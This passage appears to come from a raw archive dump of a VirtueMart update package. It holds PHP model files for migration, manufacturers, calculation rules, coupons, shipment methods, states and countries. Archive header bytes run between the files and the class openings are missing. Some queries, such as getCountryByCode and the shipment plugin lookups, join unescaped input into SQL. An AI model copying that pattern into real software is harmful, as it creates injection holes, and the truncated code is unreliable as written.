    "; vmWarn('portVm1Attributes '.$result); }; $result.="inserted attribute for parent :" . $attrData[0] . ", atttribute name :" . $cleaned . ' '.$warning. "
    "; } } } } $alreadyKnownIds[] = $productid; $i++; if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ break; } } else { } } $this->storeMigrationProgress('attributes',$alreadyKnownIds); return true; } /** * Roughly taken from the forum, a bit rewritten by Max Milbers to use the joomla database * Thank you oneforallsoft * * http://forum.virtuemart.net/index.php?topic=116403.0 * http://www.oneforallsoft.com/related-products-missing-after-virtuemart-upgrade/ * @author oneforallsoft */ function portVm1RelatedProducts(){ if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ return; } vmSetStartTime('relatedproducts'); $maxItems = $this->_getMaxItems('relatedproducts'); $startLimit = $this->_getStartLimit('relatedproducts_start');; $i=0; $continue = true; $alreadyKnownIds = $this->getMigrationProgress('relatedproducts'); $out=array(); $out2=array(); while($continue){ $q ='select * from #__vm_product_relations LIMIT '.$startLimit.','.$maxItems; $doneStart = $startLimit; $res = self::loadCountListContinue($q,$startLimit,$maxItems,'port Related products'); $oldVm1relateds = $res[0]; $startLimit = $res[1]; $continue = $res[2]; foreach($oldVm1relateds as $v){ $pid=$v['product_id']; $ids=explode('|',$v['related_products']); $out=array_merge($ids,$out); $out[]=$pid; $out2[$pid]=$ids; $i++; } // GET SkuS for Products $skus=array(); $q="select product_id,product_sku from #__vm_product where product_id in (".implode(',',$out).") "; $this->_db->setQuery($q ); $product_skus = $this->_db->loadAssocList(); if (empty($product_skus)) { vmError("Port Related products: The following SKUs were not found ".implode(',',$out) ); break; } foreach ($product_skus as $v) { $skus[$v['product_id']]=$v['product_sku']; } foreach($out2 as $k=>$v){ $tmp=array(); foreach($v as $vv){ if(isset($skus[$vv])) $tmp[]=$skus[$vv]; } $out[$skus[$k]]=$tmp; } // GET virtuemart_product_id for those SKUs $q="select virtuemart_product_id,product_sku from #__virtuemart_products where product_sku in ('".implode("','",$skus)."') "; $this->_db->setQuery($q); $out3=array(); $products = $this->_db->loadAssocList(); if (empty($products)) { vmError("Port Related products: Some of those SKUs were not found ".implode(',',$skus) ); break; } foreach ($products as $v) { $out3[$v['product_sku']]=$v["virtuemart_product_id"]; } $now=date('Y-m-d H:i:s',time()); $sql=''; foreach($out as $k => $v){ foreach($v as $vv){ if(isset($out3[$k]) and isset($out3[$vv])) $sql.=",({$out3[$k]},1,{$out3[$vv]},'".$now."')"; } } if (empty($sql)) { vmError("Port Related products: Error while inserting new related products " ); break; } $q="INSERT INTO #__virtuemart_product_customfields (virtuemart_product_id,virtuemart_custom_id,custom_value,modified_on) values ".substr($sql,1); $this->_db->setQuery($q) ; $this->_db->query(); if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ vmdebug('Related products import breaked, you may rise the execution time, this is not an error, just a hint'); $continue = false; break; } } if($out and count($out)==0){ vmdebug ('no related products found'); return; } else { vmdebug ('FOUND Related products ',count($out) ); } $limitStartToStore = ', relatedproducts = "'.($doneStart+$i).'" '; $this->storeMigrationProgress('relatedproducts',$alreadyKnownIds,$limitStartToStore); vmInfo('Migration: '.$i.' Related products processed '); } } PKsl>\4LuuUcom_virtuemart_update/administrator/components/com_virtuemart/models/manufacturer.phpnuW+AsetMainTable('manufacturers'); $this->addvalidOrderingFieldName(array('m.virtuemart_manufacturer_id','mf_name','mf_desc','mf_category_name','mf_url')); $this->removevalidOrderingFieldName('virtuemart_manufacturer_id'); $this->_selectedOrdering = 'mf_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Load a single manufacturer */ public function getManufacturer() { static $_manus = array(); if (!array_key_exists ($this->_id, $_manus)) { $this->_data = $this->getTable('manufacturers'); $this->_data->load($this->_id); $xrefTable = $this->getTable('manufacturer_medias'); $this->_data->virtuemart_media_id = $xrefTable->load($this->_id); $_manus[$this->_id] = $this->_data; } return $_manus[$this->_id]; } /** * Bind the post data to the manufacturer table and save it * * @author Roland * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { // Setup some place holders $table = $this->getTable('manufacturers'); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } // Process the images $mediaModel = VmModel::getModel('Media'); $mediaModel->storeMedia($data,'manufacturer'); $errors = $mediaModel->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_manufacturer_id; } /** * Returns a dropdown menu with manufacturers * @author Max Milbers * @return object List of manufacturer to build filter select box */ function getManufacturerDropDown() { $db = JFactory::getDBO(); $query = "SELECT `virtuemart_manufacturer_id` AS `value`, `mf_name` AS text, '' AS disable FROM `#__virtuemart_manufacturers_".VMLANG."` ORDER BY `mf_name` ASC"; $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHTML::_('select.option', '0', '- '. JText::_('COM_VIRTUEMART_SELECT_MANUFACTURER') .' -' )); return $options; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of manufacturer objects */ public function getManufacturers($onlyPublished=false, $noLimit=false, $getMedia=false) { $this->_noLimit = $noLimit; $mainframe = JFactory::getApplication(); // $db = JFactory::getDBO(); $option = 'com_virtuemart'; $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( $option.'virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $search = $mainframe->getUserStateFromRequest( $option.'search', 'search', '', 'string' ); $where = array(); if ($virtuemart_manufacturercategories_id > 0) { $where[] .= ' `m`.`virtuemart_manufacturercategories_id` = '. $virtuemart_manufacturercategories_id; } if ( $search && $search != 'true') { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] .= ' LOWER( `mf_name` ) LIKE '.$search; } if ($onlyPublished) { $where[] .= ' `m`.`published` = 1'; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' `m`.*,`#__virtuemart_manufacturers_'.VMLANG.'`.*, mc.`mf_category_name` '; $joinedTables = 'FROM `#__virtuemart_manufacturers_'.VMLANG.'` JOIN `#__virtuemart_manufacturers` as m USING (`virtuemart_manufacturer_id`) '; $joinedTables .= ' LEFT JOIN `#__virtuemart_manufacturercategories_'.VMLANG.'` AS mc on mc.`virtuemart_manufacturercategories_id`= `m`.`virtuemart_manufacturercategories_id` '; $groupBy=' '; if($getMedia){ $select .= ',mmex.virtuemart_media_id '; $joinedTables .= 'LEFT JOIN `#__virtuemart_manufacturer_medias` as mmex ON `m`.`virtuemart_manufacturer_id`= mmex.`virtuemart_manufacturer_id` '; $groupBy=' GROUP BY `m`.`virtuemart_manufacturer_id` '; } $whereString = ' '; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where).' ' ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,$groupBy,$ordering ); } } // pure php no closing tagPKsl>\#o,,Ocom_virtuemart_update/administrator/components/com_virtuemart/models/index.htmlnuW+APKsl>\ࠎO/O/Mcom_virtuemart_update/administrator/components/com_virtuemart/models/calc.phpnuW+A St.Kraft 2013-02-24 manufacturer relation added * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * @version $Id: calc.php 6396 2012-09-05 17:35:36Z Milbo $ */ if(!class_exists('VmModel'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmmodel.php'); class VirtueMartModelCalc extends VmModel { /** * Constructor for the calc model. * * The calc id is read and detmimined if it is an array of ids or just one single id. * * @author RickG */ public function __construct(){ parent::__construct(); $this->setMainTable('calcs'); $this->setToggleName('calc_shopper_published'); $this->setToggleName('calc_vendor_published'); $this->setToggleName('shared'); $this->addvalidOrderingFieldName(array('virtuemart_category_id','virtuemart_country_id','virtuemart_state_id','virtuemart_shoppergroup_id' ,'virtuemart_manufacturer_id' )); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ public function getCalc(){ if (empty($this->_data)) { if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('calcs'); $this->_data->load((int)$this->_id); $xrefTable = $this->getTable('calc_categories'); $this->_data->calc_categories = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_categories '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $this->_data->virtuemart_shoppergroup_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_shoppergroups '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $this->_data->calc_countries = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_countries '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $this->_data->virtuemart_state_ids = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' virtuemart_state_ids '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $this->_data->virtuemart_manufacturers = $xrefTable->load($this->_id); if ( $xrefTable->getError() ) { vmError(get_class( $this ).' calc_manufacturers '.$xrefTable->getError()); } JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmGetPluginInternalDataCalc',array(&$this->_data)); } // if($errs = $this->getErrors()){ // $app = JFactory::getApplication(); // foreach($errs as $err){ // $app->enqueueMessage($err); // } // } // vmdebug('my calc',$this->_data); return $this->_data; } /** * Retrieve a list of calculation rules from the database. * * @author Max Milbers * @param string $onlyPuiblished True to only retreive the published Calculation rules, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of calculation rule objects */ public function getCalcs($onlyPublished=false, $noLimit=false, $search=false){ $where = array(); $this->_noLimit = $noLimit; // add filters if ($onlyPublished) $where[] = '`published` = 1'; if($search){ $db = JFactory::getDBO(); $search = '"%' . $db->getEscaped( $search, true ) . '%"' ; $where[] = ' `calc_name` LIKE '.$search.' OR `calc_descr` LIKE '.$search.' OR `calc_value` LIKE '.$search.' '; } $whereString= ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_calcs`',$whereString,'',$this->_getOrdering()); if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Write the first 5 categories in the list */ $data->calcCategoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_calc_categories','virtuemart_calc_id',$data->virtuemart_calc_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); /* Write the first 5 shoppergroups in the list */ $data->calcShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_calc_shoppergroups','virtuemart_calc_id',$data->virtuemart_calc_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,false); /* Write the first 5 countries in the list */ $data->calcCountriesList = shopfunctions::renderGuiList('virtuemart_country_id','#__virtuemart_calc_countries','virtuemart_calc_id',$data->virtuemart_calc_id,'country_name','#__virtuemart_countries','virtuemart_country_id','country',4,false); /* Write the first 5 states in the list */ $data->calcStatesList = shopfunctions::renderGuiList('virtuemart_state_id','#__virtuemart_calc_states','virtuemart_calc_id',$data->virtuemart_calc_id,'state_name','#__virtuemart_states','virtuemart_state_id','state',4,false); /* Write the first 5 manufacturers in the list */ $data->calcManufacturersList = shopfunctions::renderGuiList('virtuemart_manufacturer_id','#__virtuemart_calc_manufacturers','virtuemart_calc_id',$data->virtuemart_calc_id,'mf_name','#__virtuemart_manufacturers','virtuemart_manufacturer_id','manufacturer'); $query = 'SELECT `currency_name` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` = "'.(int)$data->calc_currency.'" '; $this->_db->setQuery($query); $data->currencyName = $this->_db->loadResult(); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmGetPluginInternalDataCalcList',array(&$data)); } return $this->_data; } /** * Bind the post data to the calculation table and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { JRequest::checkToken() or jexit( 'Invalid Token, in store calc'); $table = $this->getTable('calcs'); // Convert selected dates to MySQL format for storing. $startDate = JFactory::getDate($data['publish_up']); $data['publish_up'] = $startDate->toMySQL(); // if ($data['publish_down'] == '' or $data['publish_down']==0){ if (empty($data['publish_down']) || trim($data['publish_down']) == JText::_('COM_VIRTUEMART_NEVER')){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); $data['publish_down'] = $this->_db->getNullDate(); } else { $expireDate = JFactory::getDate($data['publish_down']); $data['publish_down'] = $expireDate->toMySQL(); } $table->bindChecknStore($data); if($table->getError()){ vmError('Calculation store '.$table->getError()); return false; } $xrefTable = $this->getTable('calc_categories'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_shoppergroups'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_countries'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_states'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } $xrefTable = $this->getTable('calc_manufacturers'); $xrefTable->bindChecknStore($data); if($xrefTable->getError()){ vmError('Calculation store '.$xrefTable->getError()); } if (!class_exists('vmCalculationPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcalculationplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmStorePluginInternalDataCalc',array(&$data)); $errMsg = $this->_db->getErrorMsg(); $errs = $this->_db->getErrors(); if(!empty($errMsg)){ $errNum = $this->_db->getErrorNum(); vmError('SQL-Error: '.$errNum.' '.$errMsg.'
    used query '.$this->_db->getQuery()); } if(!empty($errs)){ foreach($errs as $err){ if(!empty($err)) vmError('Calculation store '.$err); } } return $table->virtuemart_calc_id; } static function getRule($kind){ if (!is_array($kind)) $kind = array($kind); $db = JFactory::getDBO(); $nullDate = $db->getNullDate(); $now = JFactory::getDate()->toMySQL(); $q = 'SELECT * FROM `#__virtuemart_calcs` WHERE '; foreach ($kind as $field){ $q .= '`calc_kind`='.$db->Quote($field).' OR '; } $q=substr($q,0,-3); $q .= 'AND ( publish_up = "' . $db->getEscaped($nullDate) . '" OR publish_up <= "' . $db->getEscaped($now) . '" ) AND ( publish_down = "' . $db->getEscaped($nullDate) . '" OR publish_down >= "' . $db->getEscaped($now) . '" ) '; $db->setQuery($q); $data = $db->loadObjectList(); if (!$data) { $data = new stdClass(); } return $data; } /** * Delete all calcs selected * * @author Max Milbers * @param array $cids categories to remove * @return boolean if the item remove was successful */ public function remove($cids) { JRequest::checkToken() or jexit( 'Invalid Token, in remove category'); $table = $this->getTable($this->_maintablename); $cat = $this->getTable('calc_categories'); $sgrp = $this->getTable('calc_shoppergroups'); $countries = $this->getTable('calc_countries'); $states = $this->getTable('calc_states'); $manufacturers = $this->getTable('calc_manufacturers'); $ok = true; foreach($cids as $id) { $id = (int)$id; vmdebug('remove '.$id); if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); $ok = false; } if (!$cat->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$cat->getError()); $ok = false; } if (!$sgrp->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$sgrp->getError()); $ok = false; } if (!$countries->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$countries->getError()); $ok = false; } if (!$states->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$states->getError()); $ok = false; } // Mod. St.Kraft 2013-02-24 if (!$manufacturers->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$manufacturers->getError()); $ok = false; } // if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmcalculation'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDeleteCalculationRow', array( $id)); } return $ok; } static function getTaxes() { return self::getRule(array('TAX','VatTax','TaxBill')); } static function getDiscounts(){ return self::getRule(array('DATax','DATaxBill','DBTax','DBTaxBill')); } static function getDBDiscounts() { return self::getRule(array('DBTax','DBTaxBill')); } static function getDADiscounts() { return self::getRule(array('DATax','DATaxBill')); } }PKsl>\׿g g Ocom_virtuemart_update/administrator/components/com_virtuemart/models/coupon.phpnuW+AsetMainTable('coupons'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getCoupon() { $db = JFactory::getDBO(); if (empty($this->_data)) { $this->_data = $this->getTable('coupons'); $this->_data->load((int)$this->_id); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Bind the post data to the coupon table and save it * * @author RickG, Oscar van Eijk * @return mixed False if the save was unsuccessful, the coupon ID otherwise. */ function store(&$data) { $table = $this->getTable('coupons'); //$data = JRequest::get('post'); $table->bindChecknStore($data); // Convert selected dates to MySQL format for storing. if ($data['coupon_start_date']) { $startDate = JFactory::getDate($data['coupon_start_date']); $data['coupon_start_date'] = $startDate->toMySQL(); } if ($data['coupon_expiry_date']) { $expireDate = JFactory::getDate($data['coupon_expiry_date']); $data['coupon_expiry_date'] = $expireDate->toMySQL(); } parent::store($data); return $table->virtuemart_coupon_id; } /** * Retireve a list of coupons from the database. * * @author RickG * @return object List of coupon objects */ function getCoupons() { $whereString = ''; // if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_coupons`',$whereString,'',$this->_getOrdering()); } } // pure php no closing tagPKsl>\$Xq!!Wcom_virtuemart_update/administrator/components/com_virtuemart/models/shipmentmethod.phpnuW+AsetMainTable('shipmentmethods'); $this->_selectedOrdering = 'ordering'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipment() { if (empty($this->_data[$this->_id])) { $this->_data[$this->_id] = $this->getTable('shipmentmethods'); $this->_data[$this->_id]->load((int)$this->_id); if(empty($this->_data[$this->_id]->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data[$this->_id]->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor();; } if($this->_data[$this->_id]->shipment_jplugin_id){ JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsShipment',array($this->_data[$this->_id]->shipment_element,$this->_data[$this->_id]->shipment_jplugin_id,&$this->_data[$this->_id])); } if($this->_data[$this->_id]->getCryptedFields()){ if(!class_exists('vmCrypt')){ require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php'); } if(isset($this->_data[$this->_id]->modified_on)){ $date = JFactory::getDate($this->_data[$this->_id]->modified_on); $date = $date->toUnix(); } else { $date = 0; } foreach($this->_data[$this->_id]->getCryptedFields() as $field){ if(isset($this->_data[$this->_id]->$field)){ $this->_data[$this->_id]->$field = vmCrypt::decrypt($this->_data[$this->_id]->$field,$date); } } } // vmdebug('$$this->_data getShipment',$this->_data); //if(!empty($this->_id)){ /* Add the shipmentcarreir shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$this->_id.'"'; $this->_db->setQuery($q); $this->_data[$this->_id]->virtuemart_shoppergroup_ids = $this->_db->loadResultArray();# if(empty($this->_data[$this->_id]->virtuemart_shoppergroup_ids)) $this->_data[$this->_id]->virtuemart_shoppergroup_ids = 0; //} } return $this->_data[$this->_id]; } /** * Retireve a list of shipment from the database. * * @author RickG * @return object List of shipment objects */ public function getShipments() { if (JVM_VERSION===1) { $table = '#__plugins'; $enable = 'published'; $ext_id = 'id'; } else { $table = '#__extensions'; $enable = 'enabled'; $ext_id = 'extension_id'; } $query = ' `#__virtuemart_shipmentmethods`.* , `'.$table.'`.`name` as shipmentmethod_name FROM `#__virtuemart_shipmentmethods` '; $query .= 'JOIN `'.$table.'` ON `'.$table.'`.`'.$ext_id.'` = `#__virtuemart_shipmentmethods`.`shipment_jplugin_id` '; $whereString = ''; $select = ' * FROM `#__virtuemart_shipmentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_shipmentmethods` USING (`virtuemart_shipmentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->_data = $this->exeSortSearchListQuery(0,'',$query,$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the shipment shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_shipmentmethod_shoppergroups WHERE `virtuemart_shipmentmethod_id` = "'.$data->virtuemart_shipmentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->shipmentShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_shipmentmethod_shoppergroups','virtuemart_shipmentmethod_id',$data->virtuemart_shipmentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the shipment tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('shipmentmethods'); if(isset($data['shipment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $db = JFactory::getDbo(); $db->setQuery($q); $data['shipment_element'] = $db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['shipment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); //bad trigger, we should just give it data, so that the plugins itself can check the data to be stored //so this trigger is now deprecated and will be deleted in vm3 $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsShipment',array( $data['shipment_element'],$data['shipment_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginShipment',array( &$data,&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('shipmentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallShipmentPluginTable', array( $data['shipment_jplugin_id'])); return $table->virtuemart_shipmentmethod_id; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $shipment = $this->getShipment (); $shipment->virtuemart_shipmentmethod_id = 0; $shipment->shipment_name = $shipment->shipment_name.' Copy'; if (!$clone = $this->store($shipment)) { vmError( 'createClone '. $shipment->getError() ); } return $clone; } } //no closing tag PKsl>\*%Scom_virtuemart_update/administrator/components/com_virtuemart/models/worldzones.phpnuW+AsetMainTable('worldzones'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipmentZone() { $db = JFactory::getDBO(); if (empty($this->_data)) { $query = 'SELECT * '; $query .= 'FROM `#__virtuemart_worldzones` '; $query .= 'WHERE `virtuemart_worldzone_id` = ' . (int)$this->_id; $db->setQuery($query); $this->_data = $db->loadObject(); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Retrieve a list of zone ids and zone names for use in a HTML select list. * * @author RickG */ function getWorldZonesSelectList() { $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_worldzone_id`, `zone_name` '; $query .= 'FROM `#__virtuemart_worldzones`'; $db->setQuery($query); return $db->loadObjectList(); } } // pure php no closing tagPKsl>\KNcom_virtuemart_update/administrator/components/com_virtuemart/models/state.phpnuW+AsetMainTable('states'); $this->_selectedOrderingDir = 'ASC'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * Renamed to getSingleState to avoid overwriting by jseros * * @author Max Milbers */ function getSingleState(){ if (empty($this->_data)) { $this->_data = $this->getTable('states'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of countries from the database. * * @author RickG, Max Milbers * @return object List of state objects */ public function getStates($countryId, $noLimit=false, $published = false) { $quer= 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.(int)$countryId.'" '; if($published){ $quer .= 'AND `published`="1" '; } $quer .= 'ORDER BY `#__virtuemart_states`.`state_name`'; if ($noLimit) { $this->_data = $this->_getList($quer); } else { $this->_data = $this->_getList($quer, $this->getState('limitstart'), $this->getState('limit')); } if(count($this->_data) >0){ $this->_total = $this->_getListCount($quer); } return $this->_data; } /** * Tests if a state and country fits together and if they are published * * @author Max Milbers * @return String Attention, this function gives a 0=false back in case of success */ public static function testStateCountry($countryId,$stateId) { $countryId = (int)$countryId; $stateId = (int)$stateId; vmdebug('testStateCountry country '.$countryId.' $stateId '.$stateId); $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($db->loadResult()){ //Test if country has states $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($res = $db->loadResult()){ vmdebug('testStateCountry country has states ',$res); //Test if virtuemart_state_id fits to virtuemart_country_id $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `virtuemart_state_id`="'.$stateId.'" and `published`="1"'; $db->setQuery($q); if($db->loadResult()){ return true; } else { //There is a country, but the state does not exist or is unlisted return false; } } else { vmdebug('testStateCountry country has no states listed'); //This country has no states listed return true; } } else { //The given country does not exist, this can happen, when no country was chosen, which maybe valid. return true; } } } // pure php no closing tagPKsl>\ L- - Pcom_virtuemart_update/administrator/components/com_virtuemart/models/country.phpnuW+AsetMainTable('countries'); array_unshift($this->_validOrderingFieldName,'country_name'); $this->_selectedOrdering = 'country_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Retreive a country record given a country code. * * @author RickG * @param string $code Country code to lookup * @return object Country object from database */ function getCountryByCode($code) { $db = JFactory::getDBO(); $countryCodeLength = strlen($code); switch ($countryCodeLength) { case 2: $countryCodeFieldname = 'country_2_code'; break; case 3: $countryCodeFieldname = 'country_3_code'; break; default: return false; } $query = 'SELECT *'; $query .= ' FROM `#__virtuemart_countries`'; $query .= ' WHERE `' . $countryCodeFieldname . '` = "' . $code . '"'; $db->setQuery($query); return $db->loadObject(); } /** * Retrieve a list of countries from the database. * * @author RickG * @author Max Milbers * @param string $onlyPublished True to only retrieve the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of country objects */ function getCountries($onlyPublished=true, $noLimit=false, $filterCountry = false) { $where = array(); $this->_noLimit = $noLimit; // $query = 'SELECT * FROM `#__virtuemart_countries` '; /* add filters */ if ($onlyPublished) $where[] = '`published` = 1'; if($filterCountry){ $filterCountry = '"%' . $this->_db->getEscaped( $filterCountry, true ) . '%"' ; //$keyword = $this->_db->Quote($filterCountry, false); $where[] = '`country_name` LIKE '.$filterCountry.' OR `country_2_code` LIKE '.$filterCountry.' OR `country_3_code` LIKE '.$filterCountry; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_countries`',$whereString,'',$ordering); } } //no closing tag pure phpPKsl>\B%!S!SYcom_virtuemart_update/administrator/components/com_virtuemart/models/updatesmigration.phpnuW+A 0) { $this->_user = JFactory::getUser($virtuemart_user_id); } else { $this->_user = JFactory::getUser(); } return $this->_user->id; } /** * @author Max Milbers */ function setStoreOwner($userId=-1) { $allowInsert=FALSE; if($userId===-1){ 